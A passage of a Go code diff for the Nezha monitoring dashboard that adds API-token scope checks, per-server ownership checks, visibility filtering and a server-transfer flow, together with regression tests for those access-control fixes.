"/api/v1/batch-delete/ddns", "nezha:ddns:delete"}, + + {"GET", "/api/v1/nat", "nezha:nat:read"}, + {"POST", "/api/v1/nat", "nezha:nat:write"}, + {"PATCH", "/api/v1/nat/{id}", "nezha:nat:write"}, + {"POST", "/api/v1/batch-delete/nat", "nezha:nat:delete"}, + + {"GET", "/api/v1/notification", "nezha:notification:read"}, + {"POST", "/api/v1/notification", "nezha:notification:write"}, + {"PATCH", "/api/v1/notification/{id}", "nezha:notification:write"}, + {"POST", "/api/v1/batch-delete/notification", "nezha:notification:delete"}, + + {"GET", "/api/v1/notification-group", "nezha:notification-group:read"}, + {"POST", "/api/v1/notification-group", "nezha:notification-group:write"}, + {"PATCH", "/api/v1/notification-group/{id}", "nezha:notification-group:write"}, + {"POST", "/api/v1/batch-delete/notification-group", "nezha:notification-group:delete"}, + + {"GET", "/api/v1/user", "nezha:admin:*"}, + {"POST", "/api/v1/user", "nezha:admin:*"}, + {"POST", "/api/v1/batch-delete/user", "nezha:admin:*"}, + {"GET", "/api/v1/waf", "nezha:admin:*"}, + {"POST", "/api/v1/batch-delete/waf", "nezha:admin:*"}, + {"GET", "/api/v1/online-user", "nezha:admin:*"}, + {"POST", "/api/v1/online-user/batch-block", "nezha:admin:*"}, + {"PATCH", "/api/v1/setting", "nezha:admin:*"}, + {"POST", "/api/v1/maintenance", "nezha:admin:*"}, + } +} + +var scopeDocLineRE = regexp.MustCompile(`^(GET|POST|PATCH|DELETE|PUT)\s+(/api/v1/\S+)\s+(nezha:\S+)$`) + +func extractScopeDocEntries(t *testing.T) map[string]scopedRoute { + t.Helper() + raw, err := os.ReadFile("scope_doc.go") + require.NoError(t, err) + entries := map[string]scopedRoute{} + for _, line := range strings.Split(string(raw), "\n") { + stripped := strings.TrimPrefix(line, "//") + stripped = strings.TrimSpace(stripped) + stripped = strings.Join(strings.Fields(stripped), " ") + m := scopeDocLineRE.FindStringSubmatch(stripped) + if m == nil { + continue + } + r := scopedRoute{Method: m[1], Path: m[2], Scope: m[3]} + entries[r.Method+" "+r.Path] = r + } + return entries +} + +func TestScopeDocMatchesCanonicalRoutes(t *testing.T) { + doc := extractScopeDocEntries(t) + for _, want := range canonicalRoutes() { + key := want.Method + " " + want.Path + got, ok := doc[key] + if !ok { + t.Errorf("scope_doc.go missing entry: %s %s (expected scope %s)", want.Method, want.Path, want.Scope) + continue + } + if got.Scope != want.Scope { + t.Errorf("scope_doc.go scope mismatch for %s %s: doc=%s code=%s", want.Method, want.Path, got.Scope, want.Scope) + } + } +} + +func TestCanonicalRoutesCoverScopeDoc(t *testing.T) { + doc := extractScopeDocEntries(t) + canonical := map[string]scopedRoute{} + for _, r := range canonicalRoutes() { + canonical[r.Method+" "+r.Path] = r + } + for key, entry := range doc { + if _, ok := canonical[key]; !ok { + t.Errorf("scope_doc.go has %s %s (scope %s) with no canonical route — stale doc or missing test entry", entry.Method, entry.Path, entry.Scope) + } + } +} diff --git a/cmd/dashboard/controller/server.go b/cmd/dashboard/controller/server.go index 880db1f6..c5c6a4ac 100644 --- a/cmd/dashboard/controller/server.go +++ b/cmd/dashboard/controller/server.go @@ -1,6 +1,7 @@ package controller import ( + "errors" "slices" "strconv" "sync" @@ -8,7 +9,6 @@ import ( "github.com/gin-gonic/gin" "github.com/goccy/go-json" - "github.com/jinzhu/copier" "gorm.io/gorm" "github.com/nezhahq/nezha/model" @@ -20,8 +20,9 @@ import ( // List server // @Summary List server // @Security BearerAuth +// @Security APITokenAuth // @Schemes -// @Description List server +// @Description List server. PAT scope required: nezha:inventory:read. // @Tags auth required // @Param id query uint false "Resource ID" // @Produce json @@ -29,10 +30,13 @@ import ( // @Router /server [get] func listServer(c *gin.Context) ([]*model.Server, error) { slist := singleton.ServerShared.GetSortedList() - - var ssl []*model.Server - if err := copier.Copy(&ssl, &slist); err != nil { - return nil, err + ssl := make([]*model.Server, 0, len(slist)) + for _, server := range slist { + if server == nil { + continue + } + runtime := server.RuntimeSnapshot() + ssl = append(ssl, server.RuntimeCopy(runtime)) } return ssl, nil } @@ -153,6 +157,14 @@ func batchDeleteServer(c *gin.Context) (any, error) { singleton.DB.Unscoped().Delete(&model.Transfer{}, "server_id in (?)", servers) singleton.AlertsLock.Unlock() + // Cancel any in-flight transfers BEFORE the in-memory ServerShared + // entry is dropped: the order shortens the window in which a + // concurrent Retry/Register could install a fresh pending entry for + // the same serverID and have it wiped by the cleanup. The + // transferID-guarded delete inside OnServersDeleted is the + // authoritative protection against that race; the ordering here is + // belt and braces. + singleton.ServerTransferShared.OnServersDeleted(servers) singleton.ServerShared.Delete(servers) return nil, nil } @@ -178,14 +190,24 @@ func forceUpdateServer(c *gin.Context) (*model.ServerTaskResponse, error) { for _, sid := range forceUpdateServers { server, _ := singleton.ServerShared.Get(sid) - if server != nil && server.TaskStream != nil { - if !server.HasPermission(c) { - return nil, singleton.Localizer.ErrorT("permission denied") - } - if err := server.TaskStream.Send(&pb.Task{ + // Per-ID ownership check. Foreign servers (online or offline) and + // unknown IDs MUST be indistinguishable in the response — otherwise the + // response shape leaks server-ID existence/online-state, letting a + // RoleMember enumerate other users' machines. We drop them into the + // Offline bucket without actually dispatching the upgrade task. + if server == nil || !server.HasPermission(c) { + forceUpdateResp.Offline = append(forceUpdateResp.Offline, sid) + continue + } + if server.GetTaskStream() != nil { + if err := server.SendTask(&pb.Task{ Type: model.TaskTypeUpgrade, }); err != nil { - forceUpdateResp.Failure = append(forceUpdateResp.Failure, sid) + if errors.Is(err, model.ErrTaskStreamOffline) { + forceUpdateResp.Offline = append(forceUpdateResp.Offline, sid) + } else { + forceUpdateResp.Failure = append(forceUpdateResp.Failure, sid) + } } else { forceUpdateResp.Success = append(forceUpdateResp.Success, sid) } @@ -214,17 +236,22 @@ func getServerConfig(c *gin.Context) (string, error) { } s, ok := singleton.ServerShared.Get(id) - if !ok || s.TaskStream == nil { + if !ok { return "", nil } - if !s.HasPermission(c) { return "", singleton.Localizer.ErrorT("permission denied") } + if s.GetTaskStream() == nil { + return "", nil + } - if err := s.TaskStream.Send(&pb.Task{ + if err := s.SendTask(&pb.Task{ Type: model.TaskTypeReportConfig, }); err != nil { + if errors.Is(err, model.ErrTaskStreamOffline) { + return "", nil + } return "", err } @@ -270,7 +297,7 @@ func setServerConfig(c *gin.Context) (*model.ServerTaskResponse, error) { if !s.HasPermission(c) { return nil, singleton.Localizer.ErrorT("permission denied") } - if s.TaskStream == nil { + if s.GetTaskStream() == nil { resp.Offline = append(resp.Offline, s.ID) continue } @@ -289,14 +316,23 @@ func setServerConfig(c *gin.Context) (*model.ServerTaskResponse, error) { go func(srvGroup []*model.Server) { defer wg.Done() for _, s := range srvGroup { - // Create and send the task. task := &pb.Task{ Type: model.TaskTypeApplyConfig, Data: configForm.Config, } - if err := s.TaskStream.Send(task); err != nil { + if s.GetTaskStream() == nil { respMu.Lock() - resp.Failure = append(resp.Failure, s.ID) + resp.Offline = append(resp.Offline, s.ID) + respMu.Unlock() + continue + } + if err := s.SendTask(task); err != nil { + respMu.Lock() + if errors.Is(err, model.ErrTaskStreamOffline) { + resp.Offline = append(resp.Offline, s.ID) + } else { + resp.Failure = append(resp.Failure, s.ID) + } respMu.Unlock() continue } @@ -315,57 +351,124 @@ func setServerConfig(c *gin.Context) (*model.ServerTaskResponse, error) { // @Summary Batch move servers to other user // @Security BearerAuth // @Schemes -// @Description Batch move servers to other user +// @Description Initiates one ServerTransfer per requested server and returns a +// @Description per-server result. The old behaviour flipped Server.UserID in +// @Description a single SQL UPDATE without telling the agent, so the agent +// @Description kept presenting its old AgentSecret — which now belonged to a +// @Description different user — and authorizeAgentForUUID dropped it. The +// @Description current flow writes a Pending ServerTransfer row and flips +// @Description Server.UserID to the target owner immediately; that row keeps +// @Description the old owner's AgentSecret acceptable for this UUID until the +// @Description agent reconnects under the new secret (MarkVerified clears the +// @Description pending window) or the transfer Cancel/Fail/Timeout-out and +// @Description reverts Server.UserID to the source owner. // @Tags auth required // @Accept json // @Param request body model.BatchMoveServerForm true "BatchMoveServerForm" // @Produce json -// @Success 200 {object} model.CommonResponse[any] +// @Success 200 {object} model.CommonResponse[[]model.BatchMoveServerResult] // @Router /batch-move/server [post] -func batchMoveServer(c *gin.Context) (any, error) { +func batchMoveServer(c *gin.Context) ([]model.BatchMoveServerResult, error) { var moveForm model.BatchMoveServerForm if err := c.ShouldBindJSON(&moveForm); err != nil { return nil, err } - if !singleton.ServerShared.CheckPermission(c, slices.Values(moveForm.Ids)) { - return nil, singleton.Localizer.ErrorT("permission denied") - } - if moveForm.ToUser == 0 { return nil, singleton.Localizer.ErrorT("user id is required") } + if !callerIsAdmin(c) && moveForm.ToUser != getUid(c) { + return nil, singleton.Localizer.ErrorT("permission denied") + } + singleton.UserLock.RLock() - defer singleton.UserLock.RUnlock() - if _, ok := singleton.UserInfoMap[moveForm.ToUser]; !ok { + _, toUserExists := singleton.UserInfoMap[moveForm.ToUser] + singleton.UserLock.RUnlock() + if !toUserExists { return nil, singleton.Localizer.ErrorT("user id %d does not exist", moveForm.ToUser) } - err := singleton.DB.Transaction(func(tx *gorm.DB) error { - if err := tx.Model(&model.Server{}).Where("id in (?)", moveForm.Ids).Update("user_id", moveForm.ToUser).Error; err != nil { - return err - } - return nil - }) + results := make([]model.BatchMoveServerResult, 0, len(moveForm.Ids)) + uid := getUid(c) + isAdmin := callerIsAdmin(c) - if err != nil { - return nil, newGormError("%v", err) - } + for _, sid := range moveForm.Ids { + res := model.BatchMoveServerResult{ServerID: sid} - idsMap := make(map[uint64]bool) - for _, id := range moveForm.Ids { - idsMap[id] = true - } - - for _, s := range singleton.ServerShared.Range { - if s == nil || !idsMap[s.ID] { + srv, ok := singleton.ServerShared.Get(sid) + if !ok || srv == nil { + res.Status = model.BatchMoveServerResultServerNotFound + results = append(results, res) continue } - s.UserID = moveForm.ToUser + + // PAT server_ids 白名单优先于 admin/owner 早返回：admin 给自己签发的 + // 限定 server_ids PAT 必须只能 move 白名单内 server。前面的 admin/owner + // 检查只看 currentOwner，不会触达白名单，这里显式补一道。返回 + // ServerNotFound 与未知/外部 server 的语义对齐，避免泄露白名单外 + // server 是否存在。 + if !patAllowsServer(c, sid) { + res.Status = model.BatchMoveServerResultServerNotFound + results = append(results, res) + continue + } + + // Per-server permission: admin or current owner. We do NOT use the + // bulk CheckPermission because we want a partial-success response + // rather than rejecting the whole batch on the first unauthorized id. + // + // 必须走 GetUserID() 而不是裸读 srv.UserID — ServerTransfer.Register + // 和 revertTransition 会通过 atomic.StoreUint64 改写当前 Server.UserID + // 以反映新所有者。batchMoveServer 与 transfer 流程并发时（典型场景：两 + // 个 operator 几乎同时发起 move），裸读会与 SetUserID 形成 data race， + // 且可能在 transfer 切换瞬间读到过期值并据此做权限/同所有者/fromUser + // 判断。 + currentOwner := srv.GetUserID() + if !isAdmin && currentOwner != uid { + // Match the unknown-id response for members. A distinct + // permission_denied result lets callers enumerate foreign server IDs. + res.Status = model.BatchMoveServerResultServerNotFound + results = append(results, res) + continue + } + + if currentOwner == moveForm.ToUser { + res.Status = model.BatchMoveServerResultSameOwner + results = append(results, res) + continue + } + + // One active ServerTransfer per server. InitiateExclusive serializes + // the HasPending guard, the DB transaction, and the in-memory + // Register under a per-server claim so two concurrent operators + // can't both observe "no pending", both insert, and silently end up + // with two Pending rows for the same server. + fromUser := currentOwner + created, err := singleton.ServerTransferShared.InitiateExclusive(sid, fromUser, moveForm.ToUser, uid) + if err != nil { + switch { + case errors.Is(err, singleton.ErrServerAlreadyTransferring): + res.Status = model.BatchMoveServerResultAlreadyTransferring + case errors.Is(err, singleton.ErrAgentTooOldForTransfer): + res.Status = model.BatchMoveServerResultAgentTooOld + res.Error = err.Error() + default: + res.Status = model.BatchMoveServerResultServerNotFound + res.Error = err.Error() + } + results = append(results, res) + continue + } + + singleton.ServerTransferShared.PushIfOnline(created) + + res.Status = model.BatchMoveServerResultPending + res.TransferID = created.ID + results = append(results, res) } - return nil, nil + return results, nil } var serverMetricMap = map[string]tsdb.MetricType{ @@ -412,10 +515,10 @@ func getServerMetrics(c *gin.Context) (*model.ServerMetricsResponse, error) { return nil, singleton.Localizer.ErrorT("server not found") } - _, isMember := c.Get(model.CtxKeyAuthorizedUser) - if server.HideForGuest && !isMember { + if !userCanViewServer(c, server) { return nil, singleton.Localizer.ErrorT("unauthorized") } + _, isMember := c.Get(model.CtxKeyAuthorizedUser) metricName := c.Query("metric") metricType, ok := serverMetricMap[metricName] diff --git a/cmd/dashboard/controller/server_group.go b/cmd/dashboard/controller/server_group.go index bc491e81..36ee8558 100644 --- a/cmd/dashboard/controller/server_group.go +++ b/cmd/dashboard/controller/server_group.go @@ -27,10 +27,12 @@ func listServerGroup(c *gin.Context) ([]*model.ServerGroupResponseItem, error) { } _, isMember := c.Get(model.CtxKeyAuthorizedUser) - authorized := isMember + isAdmin := isMember && callerIsAdmin(c) + pat := patAccessorFromContext(c) + patLimited := pat != nil && patHasServerWhitelist(c) visibleServerIDs := make(map[uint64]struct{}) - if !authorized { + if !isMember { for _, server := range singleton.ServerShared.GetSortedListForGuest() { visibleServerIDs[server.ID] = struct{}{} } @@ -42,11 +44,14 @@ func listServerGroup(c *gin.Context) ([]*model.ServerGroupResponseItem, error) { return nil, err } for _, s := range sgs { - if !authorized { + if !isMember { if _, ok := visibleServerIDs[s.ServerId]; !ok { continue } } + if pat != nil && !pat.CanAccessServer(s.ServerId) { + continue + } if _, ok := groupServers[s.ServerGroupId]; !ok { groupServers[s.ServerGroupId] = make([]uint64, 0) } @@ -55,6 +60,15 @@ func listServerGroup(c *gin.Context) ([]*model.ServerGroupResponseItem, error) { var sgRes []*model.ServerGroupResponseItem for _, s := range sg { + if isMember && !isAdmin && !s.HasPermission(c) { + continue + } + if !isMember && len(groupServers[s.ID]) == 0 { + continue + } + if patLimited && len(groupServers[s.ID]) == 0 { + continue + } sgRes = append(sgRes, &model.ServerGroupResponseItem{ Group: s, Servers: groupServers[s.ID], @@ -163,6 +177,10 @@ func updateServerGroup(c *gin.Context) (any, error) { return nil, singleton.Localizer.ErrorT("unauthorized") } + if !patGroupMembershipAccessAllowed(c, sgDB.ID) { + return nil, singleton.Localizer.ErrorT("permission denied") + } + sgDB.Name = sg.Name var count int64 @@ -231,6 +249,18 @@ func batchDeleteServerGroup(c *gin.Context) (any, error) { } } + if pat := patAccessorFromContext(c); pat != nil && patHasServerWhitelist(c) { + var members []model.ServerGroupServer + if err := singleton.DB.Where("server_group_id in (?)", sgs).Find(&members).Error; err != nil { + return nil, err + } + for _, m := range members { + if !pat.CanAccessServer(m.ServerId) { + return nil, singleton.Localizer.ErrorT("permission denied") + } + } + } + err := singleton.DB.Transaction(func(tx *gorm.DB) error { if err := tx.Unscoped().Delete(&model.ServerGroup{}, "id in (?)", sgs).Error; err != nil { return err diff --git a/cmd/dashboard/controller/server_group_update_pat_test.go b/cmd/dashboard/controller/server_group_update_pat_test.go new file mode 100644 index 00000000..9496d976 --- /dev/null +++ b/cmd/dashboard/controller/server_group_update_pat_test.go @@ -0,0 +1,117 @@ +package controller + +import ( + "net/http/httptest" + "testing" + + "github.com/gin-gonic/gin" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// H1 regression: updateServerGroup must reject a server-limited PAT whose +// whitelist does not cover the group's CURRENT membership. Today the +// handler only checks the incoming sg.Servers list and then unconditionally +// `DELETE FROM server_group_server WHERE server_group_id = ?`, so a PAT +// scoped to [X] can remove server Y (owned by another tenant or just +// outside the whitelist) from a group it shares with X. +func TestPatHasGroupMembershipAccess_DeniesGroupContainingOutsideServer(t *testing.T) { + db := newTestDB(t) + swap := swapSingletonDB(t, db) + defer swap() + + if err := db.Create(&model.ServerGroupServer{ + Common: model.Common{ID: 1, UserID: 1}, + ServerGroupId: 42, + ServerId: 9, // outside whitelist + }).Error; err != nil { + t.Fatal(err) + } + if err := db.Create(&model.ServerGroupServer{ + Common: model.Common{ID: 2, UserID: 1}, + ServerGroupId: 42, + ServerId: 1, // inside whitelist + }).Error; err != nil { + t.Fatal(err) + } + + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}) + ctx.Set(model.CtxKeyAPIToken, &model.APIToken{ServersCSV: "1"}) + + if patGroupMembershipAccessAllowed(ctx, 42) { + t.Fatal("PAT scoped to [1] must NOT be allowed to mutate a group whose current members include server 9; " + + "transactional DELETE+INSERT would drop server 9 from the group") + } +} + +func TestPatHasGroupMembershipAccess_AllowsGroupFullyInsideWhitelist(t *testing.T) { + db := newTestDB(t) + swap := swapSingletonDB(t, db) + defer swap() + + if err := db.Create(&model.ServerGroupServer{ + Common: model.Common{ID: 1, UserID: 1}, + ServerGroupId: 7, + ServerId: 1, + }).Error; err != nil { + t.Fatal(err) + } + + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}) + ctx.Set(model.CtxKeyAPIToken, &model.APIToken{ServersCSV: "1,2"}) + + if !patGroupMembershipAccessAllowed(ctx, 7) { + t.Fatal("PAT whitelist [1,2] covers all current members → must allow update") + } +} + +func TestPatHasGroupMembershipAccess_JWTAlwaysAllowed(t *testing.T) { + db := newTestDB(t) + swap := swapSingletonDB(t, db) + defer swap() + + if err := db.Create(&model.ServerGroupServer{ + Common: model.Common{ID: 1, UserID: 1}, + ServerGroupId: 100, + ServerId: 99, + }).Error; err != nil { + t.Fatal(err) + } + + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}) + + if !patGroupMembershipAccessAllowed(ctx, 100) { + t.Fatal("JWT requests (no PAT) must always pass — the existing admin/owner check stands") + } +} + +func newTestDB(t *testing.T) *gorm.DB { + t.Helper() + db, err := gorm.Open(sqlite.Open("file:"+t.Name()+"?mode=memory&cache=shared"), &gorm.Config{}) + if err != nil { + t.Fatal(err) + } + if err := db.AutoMigrate(&model.ServerGroupServer{}); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + sqlDB, _ := db.DB() + if sqlDB != nil { + _ = sqlDB.Close() + } + }) + return db +} + +func swapSingletonDB(t *testing.T, db *gorm.DB) func() { + t.Helper() + original := singleton.DB + singleton.DB = db + return func() { singleton.DB = original } +} diff --git a/cmd/dashboard/controller/server_group_visibility_test.go b/cmd/dashboard/controller/server_group_visibility_test.go new file mode 100644 index 00000000..3da74bc2 --- /dev/null +++ b/cmd/dashboard/controller/server_group_visibility_test.go @@ -0,0 +1,205 @@ +package controller + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/patrickmn/go-cache" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "gorm.io/driver/sqlite" + "gorm.io/gorm" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/pkg/i18n" + "github.com/nezhahq/nezha/service/singleton" +) + +func setupServerGroupVisibilityFixture(t *testing.T) { + t.Helper() + + originalDB := singleton.DB + originalCache := singleton.Cache + originalLoc := singleton.Loc + originalLocalizer := singleton.Localizer + originalServer := singleton.ServerShared + originalUserInfo := singleton.UserInfoMap + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + sqlDB, err := db.DB() + require.NoError(t, err) + require.NoError(t, db.AutoMigrate(&model.Server{}, &model.ServerGroup{}, &model.ServerGroupServer{}, &model.User{})) + + singleton.DB = db + singleton.Loc = time.UTC + singleton.Cache = cache.New(time.Minute, time.Minute) + singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) + singleton.UserLock.Lock() + singleton.UserInfoMap = map[uint64]model.UserInfo{ + 1: {Role: model.RoleAdmin}, + 200: {Role: model.RoleMember}, + } + singleton.UserLock.Unlock() + + require.NoError(t, db.Create(&model.Server{Common: model.Common{ID: 1, UserID: 1}, Name: "public", UUID: "public", HideForGuest: false}).Error) + require.NoError(t, db.Create(&model.Server{Common: model.Common{ID: 2, UserID: 1}, Name: "hidden", UUID: "hidden", HideForGuest: true}).Error) + + require.NoError(t, db.Create(&model.ServerGroup{Common: model.Common{ID: 10, UserID: 1}, Name: "Public Group"}).Error) + require.NoError(t, db.Create(&model.ServerGroup{Common: model.Common{ID: 11, UserID: 1}, Name: "Empty Group"}).Error) + require.NoError(t, db.Create(&model.ServerGroupServer{Common: model.Common{UserID: 1}, ServerGroupId: 10, ServerId: 1}).Error) + + singleton.ServerShared = singleton.NewServerClass() + + t.Cleanup(func() { + _ = sqlDB.Close() + singleton.DB = originalDB + singleton.Cache = originalCache + singleton.Loc = originalLoc + singleton.Localizer = originalLocalizer + singleton.ServerShared = originalServer + singleton.UserLock.Lock() + singleton.UserInfoMap = originalUserInfo + singleton.UserLock.Unlock() + }) +} + +func newServerGroupCtx(viewer *model.User) *gin.Context { + gin.SetMode(gin.TestMode) + c, _ := gin.CreateTestContext(httptest.NewRecorder()) + c.Request = httptest.NewRequest("GET", "/api/v1/server-group", nil) + if viewer != nil { + c.Set(model.CtxKeyAuthorizedUser, viewer) + } + return c +} + +func collectGroupNames(items []*model.ServerGroupResponseItem) []string { + names := make([]string, 0, len(items)) + for _, it := range items { + names = append(names, it.Group.Name) + } + return names +} + +func TestListServerGroupGuestSkipsGroupsWithoutVisibleServers(t *testing.T) { + setupServerGroupVisibilityFixture(t) + + items, err := listServerGroup(newServerGroupCtx(nil)) + require.NoError(t, err) + names := collectGroupNames(items) + + assert.ElementsMatch(t, []string{"Public Group"}, names, + "a group with no guest-visible servers is meaningless to a guest UI and exposing its name leaks the existence of empty/hidden-only groups") +} + +func TestListServerGroupAuthenticatedMemberSeesOwnEmptyGroup(t *testing.T) { + setupServerGroupVisibilityFixture(t) + + require.NoError(t, singleton.DB.Create(&model.ServerGroup{Common: model.Common{ID: 12, UserID: 200}, Name: "member empty group"}).Error) + + items, err := listServerGroup(newServerGroupCtx(&model.User{ + Common: model.Common{ID: 200}, + Role: model.RoleMember, + })) + require.NoError(t, err) + names := collectGroupNames(items) + + assert.Contains(t, names, "member empty group", "owner must still see their own empty group") +} + +func TestListServerGroupAdminSeesAllGroupsIncludingEmpty(t *testing.T) { + setupServerGroupVisibilityFixture(t) + + items, err := listServerGroup(newServerGroupCtx(&model.User{ + Common: model.Common{ID: 1}, + Role: model.RoleAdmin, + })) + require.NoError(t, err) + names := collectGroupNames(items) + + assert.ElementsMatch(t, []string{"Public Group", "Empty Group"}, names, + "admin must keep full visibility, including empty groups") +} + +func newServerGroupCtxWithPAT(viewer *model.User, tok *model.APIToken) *gin.Context { + c := newServerGroupCtx(viewer) + if tok != nil { + c.Set(model.CtxKeyAPIToken, tok) + } + return c +} + +// PAT scoped to server_ids must hide groups whose membership is entirely +// outside the whitelist and must strip out-of-whitelist server IDs from +// remaining groups. Otherwise admin-issued limited PATs still enumerate +// every group name + server id via /api/v1/server-group. +func TestListServerGroupPATWhitelistFiltersGroupsAndServerIDs(t *testing.T) { + setupServerGroupVisibilityFixture(t) + + require.NoError(t, singleton.DB.Create(&model.ServerGroupServer{ + Common: model.Common{UserID: 1}, ServerGroupId: 10, ServerId: 2, + }).Error) + + tok := &model.APIToken{ID: 77, UserID: 1} + tok.SetServerIDs([]uint64{1}) + + items, err := listServerGroup(newServerGroupCtxWithPAT(&model.User{ + Common: model.Common{ID: 1}, Role: model.RoleAdmin, + }, tok)) + require.NoError(t, err) + + names := collectGroupNames(items) + assert.ElementsMatch(t, []string{"Public Group"}, names, + "PAT scoped to {1} must drop the empty group and not surface group names containing only server 2") + + if assert.Len(t, items, 1) { + assert.ElementsMatch(t, []uint64{1}, items[0].Servers, + "server IDs outside the PAT whitelist must be redacted from the response") + } +} + +func TestListServerGroupPATWithDisjointWhitelistReturnsEmpty(t *testing.T) { + setupServerGroupVisibilityFixture(t) + + tok := &model.APIToken{ID: 78, UserID: 1} + tok.SetServerIDs([]uint64{9999}) + + items, err := listServerGroup(newServerGroupCtxWithPAT(&model.User{ + Common: model.Common{ID: 1}, Role: model.RoleAdmin, + }, tok)) + require.NoError(t, err) + assert.Empty(t, items, "PAT scoped to a server it cannot reach must see no groups, not all of them") +} + +// batchDeleteServerGroup must refuse to delete a group whose members are not +// entirely covered by the PAT whitelist; otherwise an admin's limited PAT can +// drop groups that touch servers outside its scope. +func TestBatchDeleteServerGroupRejectsPATOutsideWhitelist(t *testing.T) { + setupServerGroupVisibilityFixture(t) + require.NoError(t, singleton.DB.Create(&model.ServerGroupServer{ + Common: model.Common{UserID: 1}, ServerGroupId: 10, ServerId: 2, + }).Error) + + tok := &model.APIToken{ID: 79, UserID: 1} + tok.SetServerIDs([]uint64{1}) + + c := newServerGroupCtxWithPAT(&model.User{ + Common: model.Common{ID: 1}, Role: model.RoleAdmin, + }, tok) + body, _ := json.Marshal([]uint64{10}) + c.Request = httptest.NewRequest(http.MethodPost, "/api/v1/batch-delete/server-group", bytes.NewReader(body)) + c.Request.Header.Set("Content-Type", "application/json") + + _, err := batchDeleteServerGroup(c) + require.Error(t, err, "PAT scoped to {1} must not delete group 10 which still contains server 2") + + var remaining int64 + require.NoError(t, singleton.DB.Model(&model.ServerGroup{}).Where("id = ?", 10).Count(&remaining).Error) + assert.Equal(t, int64(1), remaining, "group 10 must remain after refused PAT delete") +} diff --git a/cmd/dashboard/controller/service.go b/cmd/dashboard/controller/service.go index 3f97a735..dbf54df9 100644 --- a/cmd/dashboard/controller/service.go +++ b/cmd/dashboard/controller/service.go @@ -1,7 +1,7 @@ package controller import ( - "maps" + "fmt" "slices" "strconv" "strings" @@ -26,14 +26,14 @@ import ( // @Success 200 {object} model.CommonResponse[model.ServiceResponse] // @Router /service [get] func showService(c *gin.Context) (*model.ServiceResponse, error) { - res, err, _ := requestGroup.Do("list-service", func() (any, error) { + res, err, _ := requestGroup.Do(serviceResponseCacheKey(c), func() (any, error) { singleton.AlertsLock.RLock() defer singleton.AlertsLock.RUnlock() - stats := singleton.ServiceSentinelShared.CopyStats() + stats := filterServiceStatsForViewer(c, singleton.ServiceSentinelShared.CopyStats()) var cycleTransferStats map[uint64]model.CycleTransferStats copier.Copy(&cycleTransferStats, singleton.AlertsCycleTransferStatsStore) return []any{ - stats, cycleTransferStats, + stats, filterCycleTransferStatsForViewer(c, cycleTransferStats), }, nil }) if err != nil { @@ -46,6 +46,78 @@ func showService(c *gin.Context) (*model.ServiceResponse, error) { }, nil } +func filterServiceStatsForViewer(c *gin.Context, stats map[uint64]model.ServiceResponseItem) map[uint64]model.ServiceResponseItem { + if len(stats) == 0 { + return stats + } + services := singleton.ServiceSentinelShared.GetList() + filteredStats := make(map[uint64]model.ServiceResponseItem, len(stats)) + for serviceID, stat := range stats { + service, ok := services[serviceID] + if !ok || !userCanViewService(c, service) { + continue + } + filteredStats[serviceID] = stat + } + return filteredStats +} + +func serviceResponseCacheKey(c *gin.Context) string { + auth, ok := c.Get(model.CtxKeyAuthorizedUser) + if !ok { + return "list-service::guest" + } + user, ok := auth.(*model.User) + if !ok || user == nil { + return "list-service::guest" + } + base := fmt.Sprintf("list-service::%t::%d", user.Role.IsAdmin(), user.ID) + tok := APITokenFromContext(c) + if tok == nil { + return base + "::jwt" + } + ids := tok.ServerIDs() + slices.Sort(ids) + parts := make([]string, 0, len(ids)) + for _, id := range ids { + parts = append(parts, strconv.FormatUint(id, 10)) + } + return fmt.Sprintf("%s::pat:%d::servers:%s", base, tok.ID, strings.Join(parts, ",")) +} + +func filterCycleTransferStatsForViewer(c *gin.Context, stats map[uint64]model.CycleTransferStats) map[uint64]model.CycleTransferStats { + if len(stats) == 0 { + return stats + } + servers := singleton.ServerShared.GetList() + filteredStats := make(map[uint64]model.CycleTransferStats, len(stats)) + for id, cycleStats := range stats { + cycleStats.ServerName = filterServerMapForViewer(c, cycleStats.ServerName, servers) + cycleStats.Transfer = filterServerMapForViewer(c, cycleStats.Transfer, servers) + cycleStats.NextUpdate = filterServerMapForViewer(c, cycleStats.NextUpdate, servers) + if len(cycleStats.ServerName) == 0 && len(cycleStats.Transfer) == 0 && len(cycleStats.NextUpdate) == 0 { + continue + } + filteredStats[id] = cycleStats + } + return filteredStats +} + +func filterServerMapForViewer[T any](c *gin.Context, values map[uint64]T, servers map[uint64]*model.Server) map[uint64]T { + if len(values) == 0 { + return values + } + filteredValues := make(map[uint64]T, len(values)) + for serverID, value := range values { + server, ok := servers[serverID] + if !ok || !userCanViewServer(c, server) { + continue + } + filteredValues[serverID] = value + } + return filteredValues +} + // List service // @Summary List service // @Security BearerAuth @@ -84,9 +156,8 @@ func getServiceHistory(c *gin.Context) (*model.ServiceHistoryResponse, error) { return nil, err } - // 检查服务是否存在 service, ok := singleton.ServiceSentinelShared.Get(serviceID) - if !ok || service == nil { + if !ok || service == nil || !userCanViewService(c, service) { return nil, singleton.Localizer.ErrorT("service not found") } @@ -110,7 +181,7 @@ func getServiceHistory(c *gin.Context) (*model.ServiceHistoryResponse, error) { } if !singleton.TSDBEnabled() { - return queryServiceHistoryFromDB(serviceID, period, response) + return queryServiceHistoryFromDB(c, serviceID, period, response) } result, err := singleton.TSDBShared.QueryServiceHistory(serviceID, period) @@ -120,17 +191,21 @@ func getServiceHistory(c *gin.Context) (*model.ServiceHistoryResponse, error) { serverMap := singleton.ServerShared.GetList() + filtered := result.Servers[:0] for i := range result.Servers { - if server, ok := serverMap[result.Servers[i].ServerID]; ok { - result.Servers[i].ServerName = 